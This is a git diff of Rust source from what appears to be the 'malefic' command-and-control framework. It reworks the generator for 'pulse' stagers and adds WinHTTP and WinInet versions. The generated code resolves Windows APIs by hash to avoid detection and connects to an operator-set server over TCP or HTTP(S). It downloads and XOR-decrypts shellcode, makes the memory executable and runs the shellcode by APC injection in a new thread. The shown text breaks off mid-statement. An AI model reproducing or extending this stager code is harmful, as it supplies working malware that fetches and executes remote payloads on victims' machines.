index 39ba410..b443ce7 100644 --- a/malefic-mutant/src/build/pulse/mod.rs +++ b/malefic-mutant/src/build/pulse/mod.rs @@ -1,8 +1,10 @@ -use crate::config::{GenerateArch, PulseConfig, TransportProtocolType, Version}; +use crate::config::{GenerateArch, PulseConfig, TransportApiType, TransportProtocolType, Version}; mod http; mod tcp; -mod utils; +pub(crate) mod utils; +mod winhttp; +mod wininet; pub fn pulse_generate( config: PulseConfig, @@ -10,28 +12,33 @@ pub fn pulse_generate( version: Version, source: bool, ) -> anyhow::Result<()> { - match config.protocol.parse()? { - TransportProtocolType::Tcp => tcp::generate_tcp_pulse(config, arch, &version, source), - TransportProtocolType::Http => http::generate_http_pulse(config, arch, &version, source), // _ => { - // anyhow::bail!("Unsupported pulse type."); - // } - } -} + let protocol: TransportProtocolType = config.protocol.parse()?; + let api_type: TransportApiType = if config.api_type.is_empty() { + TransportApiType::Raw + } else { + config.api_type.parse()? + }; -pub fn djb2_hash(data: &String) -> u64 { - let mut hash = 5381; - for c in data.chars() { - hash = ((hash << 5) + hash) + c as u64; + let tls = matches!(protocol, TransportProtocolType::Https); + + match (protocol, api_type) { + (TransportProtocolType::Tcp, _) => tcp::generate_tcp_pulse(config, arch, &version, source), + (TransportProtocolType::Http | TransportProtocolType::Https, TransportApiType::Raw) => { + if tls { + anyhow::bail!("https protocol requires api_type 'winhttp' or 'wininet', raw socket does not support TLS"); + } + http::generate_http_pulse(config, arch, &version, source) + } + (TransportProtocolType::Http | TransportProtocolType::Https, TransportApiType::WinHttp) => { + winhttp::generate_winhttp_pulse(config, arch, &version, source, tls) + } + (TransportProtocolType::Http | TransportProtocolType::Https, TransportApiType::WinInet) => { + wininet::generate_wininet_pulse(config, arch, &version, source, tls) + } } - hash } -static PANIC: &str = r#" -use core::panic::PanicInfo; - -#[inline(never)] -#[panic_handler] -fn panic(_info: &PanicInfo) -> ! { - loop {} +#[allow(dead_code)] +pub fn djb2_hash(s: &str) -> u32 { + utils::djb2_hash(s) } -"#; diff --git a/malefic-mutant/src/build/pulse/tcp.rs b/malefic-mutant/src/build/pulse/tcp.rs index 2924ade..b123e1a 100644 --- a/malefic-mutant/src/build/pulse/tcp.rs +++ b/malefic-mutant/src/build/pulse/tcp.rs @@ -1,314 +1,225 @@ -use super::{ - djb2_hash, - utils::{ - generate_dll_name_asm, generate_string_asm_instructions, TARGET_SOURCE_PATH, - X64_MAIN_TEMPLATE_PATH, X64_MAKE_BODY, X86_MAIN_TEMPLATE_PATH, X86_MAKE_BODY, - }, - PANIC, -}; +use super::utils::{djb2_hash, INSTANCE_TEMPLATE_PATH, TARGET_INSTANCE_PATH}; use crate::config::{GenerateArch, PulseConfig, Version}; -static X86_DEPENDENCIES: &str = " -use malefic_win_kit::asm::arch::x86::{ - memory::{ - _convert_lebytes_to_u32, - _memcpy, - _memset, - _virtual_alloc - }, - tcp::{ - bind_and_connect, - send_std, - recv_std - }, - crypto::xor_process, - apc::inline_apc_loader, -};"; - -static X64_DEPENDENCIES: &str = " -use malefic_win_kit::asm::arch::x64::{ - memory::{ - _convert_lebytes_to_u32, - _memcpy, - _memset, - _virtual_alloc - }, - tcp::{ - bind_and_connect, - send_std, - recv_std - }, - crypto::xor_process, - apc::inline_apc_loader, -};"; - -static PREBUILD_DEPENDENCIES: &str = r#" -#[link(name = "malefic_win_kit_pulse", kind = "static")] -extern "C" { - pub fn bind_and_connect( - dll_name: *const u8, - ip: *const u8, - port: u16 - ) -> usize; - pub fn send_std( - socket: usize, - buf: usize, - len: usize - ) -> usize; - pub fn recv_std( - socket: usize, - buf: usize, - len: usize, - ) -> usize; - pub fn xor_process( - data: *mut u8, - data_len: usize, - key: *const u8, - key_len: usize, - iv: *const u8, - iv_len: usize, - counter: *mut usize - ); - pub fn _virtual_alloc( - _address: *mut u8, - _size: usize, - _alloc_type: u32, - _protect: u32 - ) -> *mut u8; - pub fn _memcpy( - _dst: *mut u8, - _src: *const u8, - _size: usize, - ); - pub fn _memset( - _dst: *mut u8, - _value: u8, - _size: usize, - ); - pub fn _convert_lebytes_to_u32( - _bytes: *const u8, - ) -> u32; - pub fn inline_apc_loader(bin: usize, len: usize) -> usize; -} -"#; - pub fn generate_tcp_pulse( config: PulseConfig, - arch: GenerateArch, - version: &Version, - source: bool, -) -> anyhow::Result<()> { - generate_stage_template(config, arch, version, source) -} - -fn generate_stage_template( - config: PulseConfig, - arch: GenerateArch, - version: &Version, - source: bool, -) -> anyhow::Result<()> { - let mut dependencies = PREBUILD_DEPENDENCIES; - let main_template_path; - let make_body; - match arch { - GenerateArch::X64 => { - if source { - dependencies = X64_DEPENDENCIES; - } - main_template_path = X64_MAIN_TEMPLATE_PATH; - make_body = X64_MAKE_BODY; - } - GenerateArch::X86 => { - if source { - dependencies = X86_DEPENDENCIES; - } - main_template_path = X86_MAIN_TEMPLATE_PATH; - make_body = X86_MAKE_BODY; - } - } - make_source_code( - dependencies, - main_template_path, - make_body, - config, - version, - source, - ) -} - -fn make_source_code( - dependencies: &str, - main_template_path: &str, - make_body: &str, - config: PulseConfig, + _arch: GenerateArch, _version: &Version, - source: bool, + _source: bool, ) -> anyhow::Result<()> { - let main_template_path = std::path::Path::new(main_template_path); - if !main_template_path.exists() { - anyhow::bail!("main_template_path does not exist."); + let template_path = std::path::Path::new(INSTANCE_TEMPLATE_PATH); + if !template_path.exists() { + anyhow::bail!("Instance template not found: {}", INSTANCE_TEMPLATE_PATH); } - let main_template = std::fs::read_to_string(main_template_path)?; - let mut final_data = format!("{}\n\n\n{}", main_template, dependencies); + let template = std::fs::read_to_string(template_path)?; - if !source { - final_data = format!("{}\n\n\n{}\n", final_data, PANIC); - } - - final_data = format!("{}\n\n\n{}", final_data, make_body); let url = &config.target; if url.is_empty() { - anyhow::bail!("url is empty."); + anyhow::bail!("target url is empty."); } - let (ip, port) = url.split_at(url.find(":").unwrap()); + let colon_pos = url + .find(':') + .ok_or_else(|| anyhow::anyhow!("invalid target format, expected ip:port"))?; + let (ip, port_str) = url.split_at(colon_pos); + let port: u16 = port_str[1..].parse()?; + let magic = djb2_hash(&config.flags.magic); let key = &config.key; - let iv = key.chars().rev().collect::(); - - let ip_with_null = format!("{}\0", ip); - let ip_asm_instructions = generate_string_asm_instructions(&ip_with_null, "ip"); - let key_asm_instructions = generate_string_asm_instructions(key, "k1"); - let iv_asm_instructions = generate_string_asm_instructions(&iv, "k2"); - let dll_asm_instructions = generate_dll_name_asm(); - - let main_content = format!( - r#" -#[no_mangle] -fn fire() {{ - let start = {start}u8; - let end = {end}u8; - let magic = {magic}u32; - unsafe {{ - let mut body_buf: [u8;10] = core::mem::MaybeUninit::uninit().assume_init(); - _memset(body_buf.as_mut_ptr(), 0, 0xa); - - // Use inline assembly to construct strings - compiler cannot optimize this - let mut dll_name = [0u8; 11]; - let mut target_ip = [0u8; {ip_len}]; - let mut key1 = [0u8; {key_len}]; - let mut key2 = [0u8; {iv_len}]; - - core::arch::asm!( - // Construct "ws2_32.dll\0" - {dll_asm_instructions} + let iv: String = key.chars().rev().collect(); + + let key_bytes = format_byte_literals(key.as_bytes()); + let iv_bytes = format_byte_literals(iv.as_bytes()); + let ip_bytes = format_byte_literals(ip.as_bytes()); + + let start_method = format!( + r#" pub unsafe fn start(&self, _args: *mut c_void) {{ + fn xor_process(data: &mut [u8], key: &[u8], iv: &[u8], counter: &mut usize) {{ + for byte in data.iter_mut() {{ + *byte ^= key[*counter % key.len()] ^ iv[*counter % iv.len()]; + *counter += 1; + }} + }} - // Construct IP address with null terminator - {ip_asm_instructions} + // Load ws2_32.dll + let dll_name: [u8; 11] = [b'w', b's', b'2', b'_', b'3', b'2', b'.', b'd', b'l', b'l', 0]; + let load_lib: FnLoadLibraryA = core::mem::transmute(self.kernel32.LoadLibraryA); + let ws2 = load_lib(dll_name.as_ptr() as *mut u8); + if ws2.is_null() {{ return; }} + let ws2_base = ws2 as usize; + + // Resolve WinSock APIs via hash + let wsa_startup: FnWSAStartup = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("WSAStartup") as usize)); + let p_socket: FnSocket = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("socket") as usize)); + let p_connect: FnConnect = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("connect") as usize)); + let p_send: FnSend = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("send") as usize)); + let p_recv: FnRecv = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("recv") as usize)); + let p_closesocket: FnClosesocket = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("closesocket") as usize)); + let p_inet_addr: FnInetAddr = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("inet_addr") as usize)); + let p_htons: FnHtons = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("htons") as usize)); + + // WSAStartup + let mut wsa_data: WSADATA = core::mem::zeroed(); + if wsa_startup(0x0202, &mut wsa_data) != 0 {{ return; }} + + // Create socket + let sock = p_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if sock == 0 || sock == usize::MAX {{ return; }} + + // Connect + let ip_addr: [u8; {ip_len}] = [{ip_bytes}, 0]; + let addr = SOCKADDR_IN {{ + sin_family: AF_INET as i16, + sin_port: p_htons({port}), + sin_addr: IN_ADDR {{ s_addr: p_inet_addr(ip_addr.as_ptr()) }}, + sin_zero: [0; 8], + }}; + if p_connect(sock, &addr, core::mem::size_of::() as i32) != 0 {{ + p_closesocket(sock); + return; + }} - // Construct encryption keys - {key_asm_instructions} - {iv_asm_instructions} + // Configuration + let key: [u8; {key_len}] = [{key_bytes}]; + let iv: [u8; {iv_len}] = [{iv_bytes}]; - dll = in(reg) dll_name.as_mut_ptr(), - ip = in(reg) target_ip.as_mut_ptr(), - k1 = in(reg) key1.as_mut_ptr(), - k2 = in(reg) key2.as_mut_ptr(), - options(nostack, preserves_flags) - ); + // Build handshake body: [start][magic:4][artifact_id:4][end] + let mut body: [u8; 10] = [0; 10]; + body[0] = {start}u8; + let m = {magic}u32.to_le_bytes(); + body[1] = m[0]; body[2] = m[1]; body[3] = m[2]; body[4] = m[3]; + let a = {artifact_id}u32.to_le_bytes(); + body[5] = a[0]; body[6] = a[1]; body[7] = a[2]; body[8] = a[3]; + body[9] = {end}u8; - let socket = bind_and_connect( - dll_name.as_ptr(), - target_ip.as_ptr(), - {port} - ); - if socket.eq(&0) {{ - return; - }} - make_body(body_buf.as_mut_ptr(), start, end, magic, {artifact_id}); + // Encrypt and send let mut counter: usize = 0; - xor_process( - body_buf.as_mut_ptr(), - 10, - key1.as_ptr(), - {key_len}, - key2.as_ptr(), - {iv_len}, - &mut counter - ); - let ret = send_std(socket, body_buf.as_ptr() as _, 0xa); - if ret.eq(&0) {{ - return; - }} - _memset(body_buf.as_mut_ptr(), 0, 0xa); - let mut offset: usize = 0; - while offset.lt(&0x9) {{ - let ret = recv_std(socket, body_buf.as_ptr() as usize + offset, 0x9 - offset); - if ret.eq(&0) || ret.eq(&0xffffffff) {{ - return; - }} + xor_process(&mut body, &key, &iv, &mut counter); + let ret = p_send(sock, body.as_ptr(), 10, 0); + if ret <= 0 {{ p_closesocket(sock); return; }} + + // Receive response header (9 bytes) + let mut resp: [u8; 9] = [0; 9]; + let mut offset = 0usize; + while offset < 9 {{ + let ret = p_recv(sock, resp.as_mut_ptr().add(offset), (9 - offset) as i32, 0); + if ret <= 0 {{ p_closesocket(sock); return; }} offset += ret as usize; }} - if offset.gt(&0x9) {{ - return; - }} + + // Decrypt and validate counter = 0; - xor_process( - body_buf.as_mut_ptr(), - 9, - key1.as_ptr(), - {key_len}, - key2.as_ptr(), - {iv_len}, - &mut counter + xor_process(&mut resp, &key, &iv, &mut counter); + if resp[0] != {start}u8 {{ p_closesocket(sock); return; }} + let recv_magic = u32::from_le_bytes([resp[1], resp[2], resp[3], resp[4]]); + let recv_len = u32::from_le_bytes([resp[5], resp[6], resp[7], resp[8]]); + if recv_magic != {magic}u32 || recv_len == 0 {{ p_closesocket(sock); return; }} + + // Allocate memory for shellcode + let mut base_addr: PVOID = core::ptr::null_mut(); + let mut region_size: SIZE_T = recv_len as usize + 1; + let nt_alloc: FnNtAllocateVirtualMemory = + core::mem::transmute(self.ntdll.NtAllocateVirtualMemory); + let status = nt_alloc( + -1isize as HANDLE, &mut base_addr, 0, &mut region_size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); - if body_buf[0].ne(&start) {{ - return; - }} - let recv_magic = _convert_lebytes_to_u32(body_buf.as_ptr().add(1)); - let mut recv_len = _convert_lebytes_to_u32(body_buf.as_ptr().add(5)); - if recv_magic.ne(&magic) || recv_len.eq(&0) {{ - return; - }} - let ptr = _virtual_alloc(0 as _, recv_len as usize + 1, 0x1000, 0x4); - if ptr.is_null() {{ + if status != STATUS_SUCCESS || base_addr.is_null() {{ + p_closesocket(sock); return; }} - let mut real_len:u32 = 0; - let mut left_len = recv_len + 1; + + // Receive shellcode + let mut real_len = 0u32; loop {{ - let ret = recv_std(socket, ptr as usize + real_len as usize, left_len as _); - if ret.eq(&0) {{ - return; - }} + let ret = p_recv( + sock, + (base_addr as *mut u8).add(real_len as usize), + (recv_len - real_len + 1) as i32, + 0, + ); + if ret <= 0 {{ p_closesocket(sock); return; }} real_len += ret as u32; - left_len -= ret as u32; - if recv_len.eq(&(real_len - 1)) {{ - break; - }} - if real_len.gt(&recv_len) {{ - return; - }} + if real_len >= recv_len + 1 {{ break; }} }} + p_closesocket(sock); + + // Decrypt shellcode xor_process( - ptr as _, - recv_len as _, - key1.as_ptr(), - {key_len}, - key2.as_ptr(), - {iv_len}, - &mut counter + core::slice::from_raw_parts_mut(base_addr as *mut u8, recv_len as usize), + &key, &iv, &mut counter, + ); + + // Change memory protection to executable + let mut old_protect: ULONG = 0; + let mut protect_base = base_addr; + let mut protect_size = region_size; + let nt_protect: FnNtProtectVirtualMemory = + core::mem::transmute(self.ntdll.NtProtectVirtualMemory); + nt_protect( + -1isize as HANDLE, &mut protect_base, &mut protect_size, + PAGE_EXECUTE_READ, &mut old_protect, + ); + + // Execute shellcode via APC injection + let nt_create: FnNtCreateThreadEx = + core::mem::transmute(self.ntdll.NtCreateThreadEx); + let nt_queue: FnNtQueueApcThread = + core::mem::transmute(self.ntdll.NtQueueApcThread); + let nt_resume: FnNtAlertResumeThread = + core::mem::transmute(self.ntdll.NtAlertResumeThread); + let nt_wait: FnNtWaitForSingleObject = + core::mem::transmute(self.ntdll.NtWaitForSingleObject); + + let mut thread_handle: HANDLE = core::ptr::null_mut(); + nt_create( + &mut thread_handle, 0x1FFFFF, core::ptr::null_mut(), + -1isize as HANDLE, base_addr, core::ptr::null_mut(), + THREAD_CREATE_FLAGS_CREATE_SUSPENDED, + 0, 0, 0, core::ptr::null_mut(), + ); + if thread_handle.is_null() {{ return; }} + + nt_queue( + thread_handle, base_addr, + core::ptr::null_mut(), core::ptr::null_mut(), core::ptr::null_mut(), ); - inline_apc_loader(ptr as _, recv_len as _); - }} -}} - "#, + + let mut suspend_count: ULONG = 0; + nt_resume(thread_handle, &mut suspend_count); + nt_wait(thread_handle, 0, core::ptr::null_mut()); + }}"#, + ip_len = ip.len() + 1, // +1 for null terminator in the array type + ip_bytes = ip_bytes, + port = port, + key_len = key.len(), + key_bytes = key_bytes, + iv_len = iv.len(), + iv_bytes = iv_bytes, start = config.flags.start, end = config.flags.end, - magic = format!("0x{:x}", magic as u32), + magic = format!("0x{:08x}", magic), artifact_id = config.flags.artifact_id, - port = port[1..].parse::()?, - ip_len = ip_with_null.len(), - key_len = key.len(), - iv_len = iv.len(), - dll_asm_instructions = dll_asm_instructions, - ip_asm_instructions = ip_asm_instructions, - key_asm_instructions = key_asm_instructions, - iv_asm_instructions = iv_asm_instructions, ); - final_data = format!("{}\n\n\n{}", final_data, main_content); - let target_path = std::path::Path::new(TARGET_SOURCE_PATH); - std::fs::write(target_path, final_data)?; + let instance_rs = format!("{}\n{}\n}}\n", template, start_method); + let target_path = std::path::Path::new(TARGET_INSTANCE_PATH); + std::fs::write(target_path, instance_rs)?; Ok(()) } + +fn format_byte_literals(bytes: &[u8]) -> String { + bytes + .iter() + .map(|b| format!("0x{:02x}", b)) + .collect::>() + .join(", ") +} diff --git a/malefic-mutant/src/build/pulse/utils.rs b/malefic-mutant/src/build/pulse/utils.rs index 8520dc9..80e3f9e 100644 --- a/malefic-mutant/src/build/pulse/utils.rs +++ b/malefic-mutant/src/build/pulse/utils.rs @@ -1,102 +1,14 @@ -pub(crate) static X86_MAIN_TEMPLATE_PATH: &str = "malefic-pulse/src/template/x86_common_template"; -pub(crate) static X64_MAIN_TEMPLATE_PATH: &str = "malefic-pulse/src/template/x64_common_template"; -pub(crate) static TARGET_SOURCE_PATH: &str = "malefic-pulse/src/main.rs"; - -pub(crate) static X64_MAKE_BODY: &str = r#" -#[naked] -unsafe extern "C" fn make_body( - buf: *mut u8, - begin: u8, - end: u8, - magic: u32, - id: u32 -) { - core::arch::asm!( - "mov BYTE PTR[rcx], dl", - "mov DWORD PTR[rcx +1], r9d", - "mov eax, DWORD PTR[rsp + 0x28]", - "mov DWORD PTR[rcx +5], eax", - "mov BYTE PTR[rcx + 9], r8b", - "ret", - options(noreturn) - ) -} -"#; - -pub(crate) static X86_MAKE_BODY: &str = r#" -#[naked] -unsafe extern "C" fn make_body( - buf: *mut u8, - begin: u8, - end: u8, - magic: u32, - id: u32 -) { - core::arch::asm!( - "push ebp", - "mov ebp, esp", - "push ecx", - - "mov eax, [ebp + 0x8]", - "mov cl, BYTE PTR[ebp + 0xc]", - "mov BYTE PTR[eax], cl", - "mov cl, BYTE PTR[ebp + 0x10]", //end - "mov BYTE PTR[eax + 9], cl", - "mov ecx, DWORD PTR[ebp + 0x14]", // magic - "mov DWORD PTR[eax + 1], ecx", - "xor ecx, ecx", - "mov ecx, [ebp + 0x18]", // id - "mov [eax + 5], ecx", - - "pop ecx", - "mov esp, ebp", - "pop ebp", - "ret", - options(noreturn) - ) -} -"#; - -/// Generate inline assembly instructions to construct a string at runtime -/// This prevents the compiler from optimizing strings into .rdata section -pub(crate) fn generate_string_asm_instructions(s: &str, reg_name: &str) -> String { - let mut instructions = Vec::new(); - for (i, byte) in s.bytes().enumerate() { - instructions.push(format!( - "\"mov BYTE PTR [{{{}}} + {}], {}\",", - reg_name, i, byte - )); - } - instructions.join("\n ") -} - -/// Generate assembly instructions for "ws2_32.dll\0" -pub(crate) fn generate_dll_name_asm() -> String { - r#""mov BYTE PTR [{dll} + 0], 119", // 'w' - "mov BYTE PTR [{dll} + 1], 115", // 's' - "mov BYTE PTR [{dll} + 2], 50", // '2' - "mov BYTE PTR [{dll} + 3], 95", // '_' - "mov BYTE PTR [{dll} + 4], 51", // '3' - "mov BYTE PTR [{dll} + 5], 50", // '2' - "mov BYTE PTR [{dll} + 6], 46", // '.' - "mov BYTE PTR [{dll} + 7], 100", // 'd' - "mov BYTE PTR [{dll} + 8], 108", // 'l' - "mov BYTE PTR [{dll} + 9], 108", // 'l' - "mov BYTE PTR [{dll} + 10], 0","# - .to_string() -} - -/// Generate assembly instructions for HTTP header construction -/// This creates position-independent code by using inline assembly - -#[allow(dead_code)] -pub(crate) fn generate_header_asm_instructions(header: &str, reg_name: &str) -> String { - let mut instructions = Vec::new(); - for (i, byte) in header.bytes().enumerate() { - instructions.push(format!( - "\"mov BYTE PTR [{{{}}} + {}], {}\",", - reg_name, i, byte - )); +pub(crate) static TARGET_INSTANCE_PATH: &str = "malefic-pulse/src/instance.rs"; +pub(crate) static INSTANCE_TEMPLATE_PATH: &str = "malefic-pulse/src/template/instance_template"; + +/// Compute DJB2 hash at generation time (matches server-side hash.DJB2Hash) +pub(crate) fn djb2_hash(s: &str) -> u32 { + let mut hash: u32 = 5381; + for &byte in s.as_bytes() { + hash = hash + .wrapping_shl(5) + .wrapping_add(hash) + .wrapping_add(byte as u32); } - instructions.join("\n ") + hash } diff --git a/malefic-mutant/src/build/pulse/winhttp.rs b/malefic-mutant/src/build/pulse/winhttp.rs new file mode 100644 index 0000000..9c09705 --- /dev/null +++ b/malefic-mutant/src/build/pulse/winhttp.rs @@ -0,0 +1,379 @@ +use super::utils::{djb2_hash, INSTANCE_TEMPLATE_PATH, TARGET_INSTANCE_PATH}; +use crate::config::{GenerateArch, PulseConfig, Version}; + +pub fn generate_winhttp_pulse( + config: PulseConfig, + _arch: GenerateArch, + _version: &Version, + _source: bool, + tls: bool, +) -> anyhow::Result<()> { + let template_path = std::path::Path::new(INSTANCE_TEMPLATE_PATH); + if !template_path.exists() { + anyhow::bail!("Instance template not found: {}", INSTANCE_TEMPLATE_PATH); + } + let template = std::fs::read_to_string(template_path)?; + + let url = &config.target; + if url.is_empty() { + anyhow::bail!("target url is empty."); + } + let colon_pos = url + .find(':') + .ok_or_else(|| anyhow::anyhow!("invalid target format, expected ip:port"))?; + let (ip, port_str) = url.split_at(colon_pos); + let port: u16 = port_str[1..].parse()?; + + let magic = djb2_hash(&config.flags.magic); + let key = &config.key; + let iv: String = key.chars().rev().collect(); + + let key_bytes = format_byte_literals(key.as_bytes()); + let iv_bytes = format_byte_literals(iv.as_bytes()); + + // WinHTTP uses wide strings (LPCWSTR) - pre-generate u16 arrays at codegen time + let ip_wide = format_wide_literals(ip); + let ip_wide_len = wide_len(ip); + let method_wide = format_wide_literals(&config.http.method); + let method_wide_len = wide_len(&config.http.method); + let path_wide = format_wide_literals(&config.http.path); + let path_wide_len = wide_len(&config.http.path); + + // Build headers wide string: "Header1: Value1\r\nHeader2: Value2\r\n" + let mut headers_str = String::new(); + for (k, v) in &config.http.headers { + headers_str.push_str(&format!("{}: {}\r\n", k, v)); + } + let has_headers = !headers_str.is_empty(); + let headers_wide = format_wide_literals(&headers_str); + let headers_wide_len = wide_len(&headers_str); + + // WinHTTP flags + let request_flags = if tls { + "0x00800000u32" // WINHTTP_FLAG_SECURE + } else { + "0u32" + }; + + let start_method = format!( + r#" pub unsafe fn start(&self, _args: *mut c_void) {{ + fn xor_process(data: &mut [u8], key: &[u8], iv: &[u8], counter: &mut usize) {{ + for byte in data.iter_mut() {{ + *byte ^= key[*counter % key.len()] ^ iv[*counter % iv.len()]; + *counter += 1; + }} + }} + + // Load winhttp.dll + let dll_name: [u8; 12] = [b'w', b'i', b'n', b'h', b't', b't', b'p', b'.', b'd', b'l', b'l', 0]; + let load_lib: FnLoadLibraryA = core::mem::transmute(self.kernel32.LoadLibraryA); + let h_dll = load_lib(dll_name.as_ptr() as *mut u8); + if h_dll.is_null() {{ return; }} + let dll_base = h_dll as usize; + + // Resolve WinHTTP APIs via hash + let p_winhttp_open: FnWinHttpOpen = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpOpen") as usize)); + let p_winhttp_connect: FnWinHttpConnect = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpConnect") as usize)); + let p_winhttp_open_request: FnWinHttpOpenRequest = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpOpenRequest") as usize)); + let p_winhttp_send_request: FnWinHttpSendRequest = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpSendRequest") as usize)); + let p_winhttp_receive_response: FnWinHttpReceiveResponse = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpReceiveResponse") as usize)); + let p_winhttp_read_data: FnWinHttpReadData = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpReadData") as usize)); + let p_winhttp_close_handle: FnWinHttpCloseHandle = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpCloseHandle") as usize)); + let p_winhttp_set_option: FnWinHttpSetOption = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpSetOption") as usize)); + + // WinHttpOpen(userAgent, WINHTTP_ACCESS_TYPE_NO_PROXY=1, null, null, 0) + let h_session = p_winhttp_open( + core::ptr::null(), + 1u32, + core::ptr::null(), + core::ptr::null(), + 0u32, + ); + if h_session.is_null() {{ return; }} + + // WinHttpConnect(hSession, server, port, 0) + let server: [u16; {ip_wide_len}] = [{ip_wide}]; + let h_connect = p_winhttp_connect( + h_session, + server.as_ptr(), + {port}u16, + 0u32, + ); + if h_connect.is_null() {{ + p_winhttp_close_handle(h_session); + return; + }} + + // WinHttpOpenRequest(hConnect, method, path, null, null, null, flags) + let method: [u16; {method_wide_len}] = [{method_wide}]; + let path: [u16; {path_wide_len}] = [{path_wide}]; + let flags: DWORD = {request_flags}; + let h_request = p_winhttp_open_request( + h_connect, + method.as_ptr(), + path.as_ptr(), + core::ptr::null(), + core::ptr::null(), + core::ptr::null(), + flags, + ); + if h_request.is_null() {{ + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + + {tls_ignore_cert} + + // Configuration + let key: [u8; {key_len}] = [{key_bytes}]; + let iv: [u8; {iv_len}] = [{iv_bytes}]; + + // Build handshake body: [start][magic:4][artifact_id:4][end] + let mut body: [u8; 10] = [0; 10]; + body[0] = {start}u8; + let m = {magic}u32.to_le_bytes(); + body[1] = m[0]; body[2] = m[1]; body[3] = m[2]; body[4] = m[3]; + let a = {artifact_id}u32.to_le_bytes(); + body[5] = a[0]; body[6] = a[1]; body[7] = a[2]; body[8] = a[3]; + body[9] = {end}u8; + + // Encrypt body + let mut counter: usize = 0; + xor_process(&mut body, &key, &iv, &mut counter); + + // WinHttpSendRequest(hRequest, headers, headersLen, body, bodyLen, totalLen, context) + {headers_decl} + let ret = p_winhttp_send_request( + h_request, + {headers_ptr}, + {headers_param_len}, + body.as_ptr() as PVOID, + 10u32, + 10u32, + 0usize, + ); + if ret == 0 {{ + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + + // WinHttpReceiveResponse + let ret = p_winhttp_receive_response(h_request, core::ptr::null_mut()); + if ret == 0 {{ + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + + // Read response body: first 9 bytes header + let mut resp: [u8; 9] = [0; 9]; + let mut offset = 0u32; + while offset < 9 {{ + let mut bytes_read: DWORD = 0; + let ret = p_winhttp_read_data( + h_request, + resp.as_mut_ptr().add(offset as usize) as PVOID, + 9 - offset, + &mut bytes_read, + ); + if ret == 0 || bytes_read == 0 {{ + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + offset += bytes_read; + }} + + // Decrypt and validate response + counter = 0; + xor_process(&mut resp, &key, &iv, &mut counter); + if resp[0] != {start}u8 {{ + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + let recv_magic = u32::from_le_bytes([resp[1], resp[2], resp[3], resp[4]]); + let recv_len = u32::from_le_bytes([resp[5], resp[6], resp[7], resp[8]]); + if recv_magic != {magic}u32 || recv_len == 0 {{ + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + + // Allocate memory for shellcode + let mut base_addr: PVOID = core::ptr::null_mut(); + let mut region_size: SIZE_T = recv_len as usize + 1; + let nt_alloc: FnNtAllocateVirtualMemory = + core::mem::transmute(self.ntdll.NtAllocateVirtualMemory); + let status = nt_alloc( + -1isize as HANDLE, &mut base_addr, 0, &mut region_size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, + ); + if status != STATUS_SUCCESS || base_addr.is_null() {{ + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + + // Read shellcode via WinHttpReadData + let mut total_read: u32 = 0; + while total_read < recv_len {{ + let mut bytes_read: DWORD = 0; + let ret = p_winhttp_read_data( + h_request, + (base_addr as *mut u8).add(total_read as usize) as PVOID, + recv_len - total_read, + &mut bytes_read, + ); + if ret == 0 || bytes_read == 0 {{ + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + total_read += bytes_read; + }} + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + + // Decrypt shellcode + xor_process( + core::slice::from_raw_parts_mut(base_addr as *mut u8, recv_len as usize), + &key, &iv, &mut counter, + ); + + // Change memory protection to executable + let mut old_protect: ULONG = 0; + let mut protect_base = base_addr; + let mut protect_size = region_size; + let nt_protect: FnNtProtectVirtualMemory = + core::mem::transmute(self.ntdll.NtProtectVirtualMemory); + nt_protect( + -1isize as HANDLE, &mut protect_base, &mut protect_size, + PAGE_EXECUTE_READ, &mut old_protect, + ); + + // Execute shellcode via APC injection + let nt_create: FnNtCreateThreadEx = + core::mem::transmute(self.ntdll.NtCreateThreadEx); + let nt_queue: FnNtQueueApcThread = + core::mem::transmute(self.ntdll.NtQueueApcThread); + let nt_resume: FnNtAlertResumeThread = + core::mem::transmute(self.ntdll.NtAlertResumeThread); + let nt_wait: FnNtWaitForSingleObject = + core::mem::transmute(self.ntdll.NtWaitForSingleObject); + + let mut thread_handle: HANDLE = core::ptr::null_mut(); + nt_create( + &mut thread_handle, 0x1FFFFF, core::ptr::null_mut(), + -1isize as HANDLE, base_addr, core::ptr::null_mut(), + THREAD_CREATE_FLAGS_CREATE_SUSPENDED, + 0, 0, 0, core::ptr::null_mut(), + ); + if thread_handle.is_null() {{ return; }} + + nt_queue( + thread_handle, base_addr, + core::ptr::null_mut(), core::ptr::null_mut(), core::ptr::null_mut(), + ); + + let mut suspend_count: ULONG = 0; + nt_resume(thread_handle, &mut suspend_count); + nt_wait(thread_handle, 0, core::ptr::null_mut()); + }}"#, + ip_wide_len = ip_wide_len, + ip_wide = ip_wide, + port = port, + method_wide_len = method_wide_len, + method_wide = 